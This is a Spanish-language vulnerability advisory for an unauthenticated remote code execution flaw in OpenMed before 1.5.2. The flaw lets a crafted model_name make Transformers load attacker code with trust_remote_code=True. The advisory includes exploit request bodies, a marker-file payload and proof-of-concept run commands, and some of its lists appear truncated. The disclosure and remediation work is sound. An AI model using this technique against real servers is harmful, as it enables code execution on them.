
OpenMed < 1.5.2 RCE no autenticado a través de la carga del modelo del filtro de privacidad PII y trust_remote_code=True
Gravedad: Crítica, CVSS 4.0 9.3, CVSS 3.1 9.8 (asignada por VulnCheck, el CNA)
Vector (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Vector (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Afectado: OpenMed < 1.5.2
Corregido en: 1.5.2
CWE: CWE-94 (Control inadecuado de la generación de código, inyección de código)
Descubierto y reportado por: Sai Teja Erukude
Publicado: 2 de junio de 2026
OpenMed anterior a 1.5.2 contiene una vulnerabilidad de ejecución remota de código no autenticada en la ruta de carga del modelo de filtro de privacidad PII.
Los endpoints de la API REST POST /pii/extract y POST /pii/deidentify aceptan un valor model_name del cuerpo de la solicitud. En las versiones vulnerables, el despachador del filtro de privacidad utilizaba una coincidencia amplia de subcadenas sobre este valor controlado por el atacante. Un nombre de modelo como attacker/foo-privacy-filter-bar podía, por lo tanto, enrutarse hacia el backend del filtro de privacidad.
En implementaciones que no son MLX/Torch, ese backend cargaba artefactos de modelos de Hugging Face a través de Transformers con trust_remote_code=True. Si el repositorio de modelos controlado por el atacante contenía código personalizado de Transformers referenciado mediante auto_map en config.json o tokenizer_config.json, Transformers importaba y ejecutaba ese código Python durante la carga del modelo o del tokenizador.
El código importado se ejecutaba con los privilegios del proceso del servicio OpenMed.
Un atacante remoto no autenticado que pueda alcanzar la API REST de OpenMed puede ejecutar código Python arbitrario en el servidor proporcionando un identificador de modelo malicioso al estilo de Hugging Face en model_name.
Dependiendo de la implementación del servicio, esto puede permitir:
El problema es alcanzable a través de ambos endpoints PII, ya que ambos aceptan model_name y utilizan la misma ruta de extracción PII/carga de modelos:
POST /pii/extract
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
El flujo de control vulnerable presenta dos fallos en los límites de confianza:
model_name proporcionado por el usuario al seleccionar el backend del filtro de privacidad.trust_remote_code=True.El despachador trataba cualquier identificador de modelo que contuviera privacy-filter como parte de la familia del filtro de privacidad. Esto permitía que identificadores controlados por el atacante, por ejemplo attacker/foo-privacy-filter-bar, alcanzaran una ruta de código destinada a modelos Privacy Filter de confianza de primera parte.
Una vez enrutados allí, Transformers podía cargar código personalizado controlado por el atacante a través de auto_map. Esta importación ocurre durante la carga del modelo/tokenizador, antes de que cualquier inferencia útil tenga que completarse con éxito. Por lo tanto, una carga útil de prueba puede ser tan pequeña como:
from pathlib import Path
Path("marker.txt").write_text(
"custom Transformers code executed via trust_remote_code\n",
encoding="utf-8",
)
poc_exploit.py crea un directorio de modelo local inofensivo al estilo de Hugging Face cuyo nombre contiene privacy-filter. Los módulos personalizados de Transformers generados escriben un archivo marcador cuando se importan. A continuación, el script envía una solicitud a una instancia de prueba de la API de OpenMed con ese directorio como model_name.
El comportamiento esperado en las versiones vulnerables de OpenMed es:
model_name controlado por el atacante.trust_remote_code=True.Ejecútelo únicamente contra una instancia de prueba local:
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
Si el servicio OpenMed se ejecuta en algún lugar que no puede acceder al directorio local generado, publique un modelo de prueba equivalente en un repositorio controlado de Hugging Face y pase ese identificador explícitamente:
python poc_exploit.py \
--target http://127.0.0.1:8000 \
--model-name your-org/foo-privacy-filter-bar \
--marker marker.txt
Actualice a OpenMed 1.5.2 o posterior.
OpenMed 1.5.2 separa el enrutamiento de la confianza:
privacy-filter ya no se enrutan a través de la ruta de confianza del filtro de privacidad.PrivacyFilterTorchPipeline establece trust_remote_code en False de forma predeterminada.OPENMED_TRUSTED_REMOTE_CODE_MODELS.Si no es posible una actualización inmediata:
model_name controlados por el usuario a Transformers con trust_remote_code=True.| Fecha | Evento |
|---|---|
| 18 de mayo de 2026 | Vulnerabilidad enviada a VulnCheck |
| 20 de mayo de 2026 | VulnCheck inició el contacto de divulgación coordinada |
| 22 de mayo de 2026 | CVE-2026-47117 asignado provisionalmente |
| 1 de junio de 2026 | Corrección de OpenMed 1.5.2 revisada y confirmada |
| 2 de junio de 2026 | CVE-2026-47117 publicado |
Descubierto y reportado por Sai Teja Erukude.
La divulgación se coordinó a través de VulnCheck.